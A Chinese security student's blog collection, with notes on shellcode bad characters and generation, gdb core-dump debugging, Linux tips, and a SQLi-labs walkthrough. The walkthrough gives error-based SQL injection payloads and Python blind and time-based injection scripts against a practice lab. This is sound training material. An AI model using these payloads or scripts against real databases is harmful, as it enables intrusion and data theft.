scanf/fscanf/vscanf 在调shellcode的时候的问题

今天在调shellcode的时候遇到了一个小问题,shellcode的逻辑功能没有任何问题,但是用的时候无法执行。在OD里面调的时候发现,shellcode的后半段变成了cccc…

于是分析了下代码,发现是shellcode中有个bit是0b,然后在读取完之后变成了00cccc

char password[1024];
FILE * fp;

if(!(fp=fopen(“password.txt”,”rw+”)))
{
printf(“test\n”);
exit(0);
}
fscanf(fp,”%s”,password);

后面password会导致溢出

shellcode从password.txt中传入,最后发现是fscanf的问题导致的

上网看了下fscanf的源码发现和scanf一样都是调用vscanf,然后当以“%s”读取字符串的时候会把某些字符解析成了有含义的符号:

 Hex Dec Ctrl Name
0x09  9  ^I  Tab
0x0A 10  ^J  Line Feed
0x0B 11  ^K  Verticle Feed
0x0C 12  ^L  Form Feed
0x0D 13  ^M  Carriage Return
0x1A 26  ^Z  End of File
0x20 32      Space

神奇的发现读取“00”的时候并没有问题,然后出了%s,其他几个格式化字符:

  • %d — works fine
  • %f — works fine
  • %s — ignores preceeding whitespace and reads one ‘word’
  • %c — rarely works as expected

如果自己在写代码的时候,尽量不要用“%s”,而是用”%c”,但是scanf/fscanf/vscanf 一般不会用在生产代码里面。

 

那么在写shellcode的时候,如果遇到shellcode会经过scanf/fscanf/vscanf 函数处理,那么要检查下shellcode中是否有上面表格中列出来的字符。

 

reference:

http://www.gidnetwork.com/b-64.html

windows下获取dll中函数地址的方法

在windows下面调试shellcode的时候需要查找一些函数的地址,这里总结下可以用的方法:

1、微软的depents工具:

http://www.dependencywalker.com/

这个在xp上应该没问题

但是在64位win7之后的系统会报错,github上有人写了新的工具解决了这个问题(https://github.com/lucasg/Dependencies)

但是我这个软件读出来的地址不是正确的函数地址,具体原因未知,待测试

 

2、在调试的时候直接在OD中查找函数地址

使用ctrl+G 直接搜索函数名,如果有该函数会直接跳转到函数对应的地址上

这里可能会有几个问题:

1、ctrl+G 要在loadDLL之后执行,不然没有加载dll,会找不到对应函数

2、win7之后启用ASLR,每次的地址会随机加载(dll的基址随机)————>目前还没遇到这个问题

 

3、把需要使用的api函数写个简单的c++程序,然后调试获取到最终函数的调用地址

 

随时更新

从汇编生成shellcode的n种方法

第一种,添加asm代码到c中,然后gcc编译生成可执行代码,最后objdump:

void main() {

asm{

}

}

太麻烦,这里就不详细介绍了,基本上包含在第二种方法中

 

第二种,直接用NASM或者GAS生成elf文件,然后objdump:

nasm -f elf print.asm
ld -m elf_i386 -o print print.asm

as test.asm -o test.o
ld test.asm -o test

objdump生成shellcode:

objdump -d print2 | grep “^ ” | cut -d$’\t’ -f 2 | tr ‘\n’ ‘ ‘ | sed -e ‘s/ *$//’ | sed -e ‘s/ \+/\\x/g’ | awk ‘{print “\\x”$0}’

关于NASM和GAS的区别可以看:

https://www.ibm.com/developerworks/library/l-gas-nasm/

 

第三种,使用pwntools(https://github.com/Gallopsled/pwntools#readme)

example:

from pwn import *

code = """.global _start
_start:
        jmp     test1
test2:
        pop     ebx
        mov     al, 0xa
        int     0x80
        mov     al, 0x1
        xor     ebx, ebx
        int     0x80
test1:
        call    test2
        .string "delfile" """

context(arch='x86', os='linux', endian='little', word_size=32)
shellcode = asm(code).encode('hex')
re = ''
while len(shellcode):
    re += r'\x'+shellcode[:2]
    shellcode = shellcode[2:]
print re<span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start"></span>

 

未完待补充

 

GDB 调试dumped core文件

在调试堆栈溢出的时候,用gdb加载文件运行的时候的地址会和直接运行的地址有出入,这个时候我们需要先在没有gdb的情况下运行程序,程序崩溃会生成core文件

然后我们用gdb filename core进行调试

我在ubuntu上测试的时候会发现当前目录里面并没有生成core文件,在研究一番后发现需要修改/proc/sys/kernel/core_pattern 文件

然后我们用root来执行下面命令:

$> mkdir -p /tmp/cores
$> chmod a+rwx /tmp/cores
$> echo “/tmp/cores/core.%e.%p.%h.%t” > /proc/sys/kernel/core_pattern

然后在运行文件,然后会在/tmp/cores目录下面生成core文件:

➜ challenge11 git:(master) ✗ ll /tmp/cores
total 100K
-rw——- 1 kow kow 516K Jan 15 00:07 core.challenge11.25425.ubuntu.1516003636

然后就可以调试了:

➜ challenge11 git:(master) ✗ gdb challenge11 /tmp/cores/core.challenge11.25425.ubuntu.1516003636
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “x86_64-linux-gnu”.
Type “show configuration” for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type “help”.
Type “apropos word” to search for commands related to “word”…
Reading symbols from challenge11…(no debugging symbols found)…done.
[New LWP 25425]
Core was generated by `./challenge11 �����������������������������������������1�Ph//shh/bin��PS���
A’.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xffffd67a in ?? ()

在调试的时候需要注意ASLR是否关闭,不然调试core文件的时候会遇到cannot access memory的错误:

通过修改 /proc/sys/kernel/randomize_va_space  来开关ASLR功能

值为2的时候开启,0的时候关闭

感谢我昊的帮助,他还推荐了sysdig,回头我再研究研究

 

参考文章:

The Core Pattern (core_pattern), or how to specify filename and path for core dumps

http://blog.csdn.net/white_eyes/article/details/7169199

GDB useful addons or plugins

Helpful GDB Plugins:

PEDA

PEDA – Python Exploit Development Assistance for GDB

https://github.com/longld/peda

GEF

GDB Enhanced Features

https://github.com/hugsy/gef Lisa.py

 LLDB

Lisa.py: An Exploit Dev Swiss Army Knife.

https://github.com/ant4g0nist/lisa.py

Voltron

Voltron is an extensible debugger UI toolkit written in Python.

https://github.com/snare/voltron

 

How to use GDB debug:

http://heather.cs.ucdavis.edu/~matloff/UnixAndC/CLanguage/Debug.html

gdb命令笔记

gdb peda常用指令

Algorithm study notes

Tree:

https://www.cs.cmu.edu/~adamchik/15-121/lectures/Trees/trees.html

 

Backtrack:

A general recursive template for backtracking:

   helper (parameters of given data and current recursive level) {
        // Handle base cases, i.e. the last level of recursive call
        if (level == lastLevel) {
            record result;
            return sth;
        }
        // Otherwise permute every possible value for this level.
        for (every possible value for this level) {
            helper(parameters of given data and next recursive level);
        }
        return sth;
    }

 

some interesting linux command

1. Supervise command (run every 2s)

watch "ls -larth"

2. Kill program using one port

sudo fuser -k 8000/tcp

3. Limit memory usage for following commands

ulimit -Sv 1000       # 1000 KBs = 1 MB
ulimit -Sv unlimited  # Remove limit

4. Rename selected files using a regular expression

rename 's/\.bak$/.txt/' *.bak

5. Get full path of file

readlink -f file.txt

6. List contents of tar.gz and extract only one file

tar tf file.tgz
tar xf file.tgz filename

7. List files by size

ls -lS

8. Nice trace route

mtr google.com

9. Find files tips

find . -size 20c             # By file size (20 bytes)
find . -name "*.gz" -delete  # Delete files
find . -exec echo {} \;      # One file by line
./file1
./file2
./file3
find . -exec echo {} \+      # All in the same line
./file1 ./file2 ./file3

10. Print text ad infinitum

yes
yes hello

11. Who is logged in?

w

12. Prepend line number

ls | nl

13. Grep with Perl like syntax (allows chars like \t)

grep -P "\t"

14. Cat backwards (starting from the end)

tac file

15. Check permissions of each directory to a file

It is useful to detect permissions errors, for example when configuring a web server.

namei -l /path/to/file.txt

16. Run command every time a file is modified

while inotifywait -e close_write document.tex
do
    make
done

17. Copy to clipboard

cat file.txt | xclip -selection clipboard

18. Spell and grammar check in Latex

detex file.tex | diction -bs

You may need to install the following: sudo apt-get install diction texlive-extra-utils.

19. Check resources’ usage of command

/usr/bin/time -v ls

20. Randomize lines in file

cat file.txt | sort -R
cat file.txt | sort -R | head  # Pick a random sambple

# Even better (suggested by xearl in Hacker news):
shuf file.txt

21. Keep program running after leaving SSH session

If the program doesn’t need any interaction:

nohup ./script.sh &

If you need to enter some input manually and then want to leave:

./script.sh
<Type any input you want>
<Ctrl-Z>          # send process to sleep
jobs -l           # find out the job id
disown -h jobid   # disown job
bg                # continue running in the background

Of course, you can also use screen or tmux for this purpose.

22. Run a command for a limited time

timeout 10s ./script.sh

# Restart every 30 minutes
while true; do timeout 30m ./script.sh; done

23. Combine lines from two sorted files

comm file1 file2

Prints these three columns:

  1. Lines unique to file1.
  2. Lines unique to file2.
  3. Lines both in file1 and file2.

With options -1, -2, -3, you can remove each of these columns.

24. Split long file in files with same number of lines

split -l LINES -d file.txt output_prefix

25. Flush swap partition

If a program eats too much memory, the swap can get filled with the rest of the memory and when you go back to normal, everything is slow. Just restart the swap partition to fix it:

sudo swapoff -a
sudo swapon -a

26. Fix ext4 file system with problems with its superblock

sudo fsck.ext4 -f -y /dev/sda1
sudo fsck.ext4 -v /dev/sda1
sudo mke2fs -n /dev/sda1
sudo e2fsck -n <first block number of previous list> /dev/sda1

27. Create empty file of given size

fallocate -l 1G test.img

28. Manipulate PDFs from the command line

To join, shuffle, select, etc. pdftk is a great tool:

pdftk *.pdf cat output all.pdf        # Join PDFs together
pdftk A=in.pdf cat A5 output out.pdf  # Extract page from PDF

You can also manipulate the content with cpdf:

cpdf -draft in.pdf -o out.pdf      # Remove images
cpdf -blacktext in.pdf -o out.pdf  # Convert all text to black color

29. Monitor the progress in terms of generated output

# Write random data, encode it in base64 and monitor how fast it
# is being sent to /dev/null
cat /dev/urandom | base64 | pv -lbri2 > /dev/null

# pv options:
#   -l,  lines
#   -b,  total counter
#   -r,  show rate
#   -i2, refresh every 2 seconds

30. Find packages that have a given file in Ubuntu

apt-file update
apt-file search dir/file.h

漏洞测试平台——SQLi-labs

SQLi-labs是个专门用来学习SQL注入的开源漏洞测试平台,基于php+mysql开发,所以里面涉及的SQL注入都是mysql语法。

下载的地址是https://github.com/Audi-1/sqli-labs

下载安装按照readme里面要求即可,这里不多废话。下面是每个题目的具体分析:

1、error based string sqli

首先是源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo "&lt;font size='5' color= '#99FF00'&gt;";
  	echo 'Your Login name:'. $row['username'];
  	echo "
";
  	echo 'Your Password:' .$row['password'];
  	echo "&lt;/font&gt;";
  	}
	else 
	{
	echo '&lt;font color= "#FFFF00"&gt;';
	print_r(mysql_error());
	echo "&lt;/font&gt;";  
	}

我们可以看到当mysql语句正确执行的时候,应用会打印结果,但是没有正确执行的时候会打印错误,所以这里我们并不能像有回显位注入那样直接注入mysql语句。我们需要利用报错信息进行注入。

原理其实比较简单,一般都是利用某函数X    比如X(exp)  mysql函数在执行的时候会先执行函数里面的exp,获取返回值,然后再把exp的返回值作为参数给X进行执行,当exp的返回值不符合X的传参要求时,会导致query错误,打印出错误。

直接贴上一个老毛子整理的error based的cheat sheet:https://blackfan.ru/mysql_game/

构造exp:‘|polygon((select*from(select name_const(version(),1))x))%23

2、error based integer sqli

原理同一,只不过是注入点的变量是integer

exp:|polygon((select*from(select name_const(version(),1))x))%23

3、注入点变量外有单引号和括号,在exp中添加对应的符号即可:

exp:’)|polygon((select*from(select name_const(version(),1))x))%23

4 、双引号加括号的error based 注入,变下exp即可:

exp: “)|polygon((select*from(select name_const(version(),1))x))%23

5、string 单引号注入同第一题

exp: ‘ |polygon((select*from(select name_const(version(),1))x))%23

6、string 双引号注入

exp: “|polygon((select*from(select name_const(version(),1))x))%23

7、我们先看下源码:

error_reporting(0);

这句话表示不再显示具体错误,只会显示“You have an error in your SQL syntax“,所以这里我们不能用前几题的error based注入,根据标题的提示“dump into outfile”, 由于我权限设置的原因,apache用户无法写入文件,这里直接给出exp了:

1′)) union select 1,2,3 into outfile “/tmp/test.txt”  –-+

8、布尔型的盲注,这里我们通过and 1=1、and 1=2进行判断:

?id=1’+and+1=1–+ 和id=1相同回显

?id=1’+and+1=2–+ 和id=1不同回显

证明这里的and后面的语句被执行了,这里我们需要利用一些函数结合脚本来获取数据库信息:

import requests
payload = '0123456789.abcdefghijklmnopqrstuvwxyz'

for posi in range(20):
    for asc in payload:
        url = "http://tools.ikow.cn/sqli-labs/Less-8/?id=1\'+AND ASCII(SUBSTRING(version(),%d,1))=%d--+" \
              % (posi, ord(asc))
        result = requests.get(url)
        #print url
        if "You are in" in result.content:
            print asc,

9、我们看下第九题的源码(https://github.com/Audi-1/sqli-labs/blob/master/Less-9/index.php)发现sql查询不管是正确还是错误都会返回相同的信息,这个时候我们不能通过第八题中基于回显进行注入了,这里我们要利用mysql中的一些延时函数进行注入。这题是考察基于时间的盲注

mysql中主要有sleep和benchmark两个函数,sql server中有wait for time和wait for delay两个。时间盲注大体上和布尔型盲注相同,这里我们判断语句是否执行是通过mysql数据库延时返回造成我们的http响应延时。

这里直接上写好的脚本,逻辑很简单:

import requests
import time
payload = '0123456789.abcdefghijklmnopqrstuvwxyz'

for posi in range(20):
    for asc in payload:
        FirstRun = int(time.time())
        url = "http://tools.ikow.cn/sqli-labs/Less-9/?id=1\'" \
              "+AND+IF(ASCII(SUBSTRING(version(),%d,1))=%d,SLEEP(5),0)--+" \
              % (posi, ord(asc))
        result = requests.get(url)
        SecondRun = int(time.time())
        #print url
        #print SecondRun,FirstRun
        if SecondRun - FirstRun > 1:
            print asc,

 

11、同样是基于时间的盲注,不过是10中的单引号换成了双引号,简单该下脚本即可

12、基于报错的post双引号加括号注入

exp:uname=admin&passwd=”)/updatexml(0,repeat(version(),2),0)#

13、基于报错的post单引号加括号注入

exp: uname=admin&passwd=’)/updatexml(0,repeat(version(),2),0)#

14、基于报错的post双引号注入

exp: uname=admin&passwd=”/updatexml(0,repeat(version(),2),0)#

15、post 布尔型盲注

exp script:

import requests
payload = '0123456789.abcdefghijklmnopqrstuvwxyz'

for posi in range(20):
    for asc in payload:
        url = "http://tools.ikow.cn/sqli-labs/Less-15/"
        payload = "admin\' AND ASCII(SUBSTRING(version(),%d,1))=%d#" \
              % (posi, ord(asc))
        data = {'uname':'admin', 'passwd': payload}
        result = requests.post(url,data=data)
        #print data
        if "flag.jpg" in result.content:
            print asc,

16、post 时间盲注

 

 

从零开始学安全

最近投了一堆安全的summer intern,结果不是被拒就是杳无音讯,一个oa或者是电面的机会都没有,自己也实在提不起兴趣找SDE的工作。然后回顾自己去年一年,在学校挣扎着完成课程和在实验室写写代码,安全方面似乎没有丝毫的进步。

我发现自己总是在一件事情上不能坚持很长时间,还总是给自己找一堆事情来做,显得自己很牛逼,结果最后很多事情都做不好。

想来想去,发现就是自己还是太浮躁了,口口声声说自己对什么什么感兴趣,结果都是嘴上吹牛逼说说几个名词。如果要让我不借助网络来解释某个东西的原理,用中文十有八九都说不清楚,用英文就更不用说了。

眼看着自己还有一年就要毕业了,虽然说找到一个工作不是什么难事,但是自己浑浑噩噩的样子自己实在看不过去,这里自己做一个小小的计划,踏踏实实从零开始学习安全,然后自己的学习过程都用博客进行记录。对于遇到的每个问题都仔细研究,深入了解原理,learn it and hack it。

作为一个开篇的文章应该有个详细的计划,这里就罗列一下:

1、漏洞测试平台

2、CVE web类漏洞

3、bug bounty

4、自动化脚本

以上内容会不定时更新